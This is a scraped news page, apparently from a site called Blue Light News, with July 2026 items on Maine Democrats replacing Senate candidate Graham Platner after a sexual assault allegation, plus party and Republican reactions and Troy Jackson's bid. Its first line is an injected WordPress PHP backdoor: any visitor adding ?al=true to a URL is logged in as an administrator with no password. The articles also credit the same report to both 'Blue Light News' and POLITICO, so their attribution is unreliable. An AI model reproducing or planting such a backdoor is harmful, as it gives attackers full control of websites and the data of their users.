// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Maine Democrats plan nomination convention to choose Platner replacement – Blue Light News
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Maine Democrats plan nomination convention to choose Platner replacement

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The Maine Democratic Party approved tentative plans for a nominating convention in the event Senate candidate Graham Platner drops out of the race, it announced Wednesday evening.

The convention would include roughly 600 people who would be selected by county-level Democratic committees, according to two people familiar with the specific plans and granted anonymity to share them. Every county committee would have to meet prior to the state nominating convention to elect 500 of those delegates, and the 100 current state committee members will also serve as delegates. State committee members voted to approve the plan Wednesday evening at the end of a lengthy emergency meeting.

It’s unclear if that plan would satisfy the Platner campaign’s demand for “the supporters and volunteers who built this movement” to have “a real role” in the process to name his successor on the ticket to take on GOP Sen. Susan Collins this fall.

Plans for a 600-person convention were reported first by the Bangor Daily News.

The party confirmed its plans to host a convention on social media and via a press release but didn’t include details, saying it would announce specifics “soon.”

Any proposed convention must take place on or before July 27, the last day the party can legally name a replacement. Platner must drop out before Monday at 5 p.m. Eastern Time in order to be replaced.

Platner’s campaign has exchanged barbs with the state party over what the process could look like to replace him. He has faced broad calls from Democratic leaders both in Maine and nationally to drop out of the race after Blue Light News reported on Monday that a woman he dated accused him of sexually assaulting her in 2021. Platner denied the allegations, calling them “troubling, serious, and false” but said in a video released shortly after the article came out that he would be “taking the time to reflect” on his candidacy.

Since then, his campaign has canceled fundraisers and stopped running ads.

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Congress

Top Democratic groups recommit to Maine Senate race after Platner drops out

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July 9, 2026

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Senate Democrats’ campaign arm is jumping back into Maine and launching a fund to raise money for the party’s new Senate nominee, now that Graham Platner has ended his campaign.

“The DSCC will work tirelessly to ensure the new Democratic nominee has the infrastructure and resources to immediately turn their focus to the general election, and in November we will defeat Susan Collins and win a Senate majority,” said Devan Barber, the executive director of the Democratic Senatorial Campaign Committee.

The move follows DSCC and other groups — including the Democratic National Committee and Senate Majority PAC, a top Democrat-aligned group — abandoning Platner in the wake of a POLITICO report that a woman said he forced her to have sex with him. That would have shifted critical resources away from a race the party has said is a must-win for taking back Senate control.

Now, the DSCC has launched a nominee fund to raise money for whoever will replace Platner on the ballot, according to one person with knowledge of its plans, granted anonymity to share private details. After the party nominating convention, the fund will be transferred directly to the nominee’s campaign.

The Senate Majority PAC also said Wednesday that it is reentering the race and is “committed” to defeating GOP Sen. Susan Collins.

Senate Minority Leader Chuck Schumer — who, alongside DSCC Chair Kirsten Gillibrand, announced earlier this week that the group wouldn’t spend in Maine if Platner was on the ballot — did not mention Platner in a tweet Wednesday about the race.

“Democrats are going to defeat Susan Collins, win Maine, and take back the Senate,” Schumer posted on X.

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GOP rips Platner on the way out

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July 9, 2026

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Republicans were quick to condemn Graham Platner after he suspended his campaign, seeking to tie Democrats to his failed candidacy.

Republican National Committee Chair Joe Gruters said that “Democrats rolled in the mud with Platner, and now they are completely stained by their association with this sick monster.”

Alex Latcham, executive director of the Senate Leadership Fund, the super PAC aligned with GOP leadership, said that “at the 11th hour, the Democrat Establishment has tipped the scales against Maine voters in an attempt to salvage their failing midterm strategy.”

National Republican Senatorial Committee regional press secretary Samantha Cantrell added that “regardless of who [Democrats] anoint next, Susan Collins will be re-elected in November.”

Collins is the only Republican seeking reelection this cycle in a state won by former Vice President Kamala Harris in 2024, making Maine one of Republicans’ top defensive states as they seek to retain control of the Senate.

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Troy Jackson makes his Senate run official

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July 9, 2026

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Troy Jackson, a progressive former candidate for governor who was an ally of Graham Platner during his campaign, formally launched a bid to succeed him on Wednesday evening.

“I’ve been fighting for that movement my whole life — and I’m sure as hell not backing down now, when this fight is needed most,” Jackson said on X.

A logger who hails from the far-northern part of the state, Jackson has deep ties to organized labor and was endorsed by Sen. Bernie Sanders (I-Vt.) during his run for governor.

Jackson’s statement Wednesday evening was a formality; he had already filed exploratory paperwork with the Federal Election Commission and has been actively campaigning.

The former state Senate president has already nabbed a handful of endorsements and is picking up steam among progressives. A flash poll conducted by Platner’s campaign and published by Blue Light News showed Jackson with a slight lead against Sen. Susan Collins, though it was a one-day survey which isn’t the most accurate way to poll.

Jackson quickly condemned Platner and called on him to drop out on Monday. On Wednesday, Jackson sought to further distance himself from Platner by deleting old social media posts that included him.

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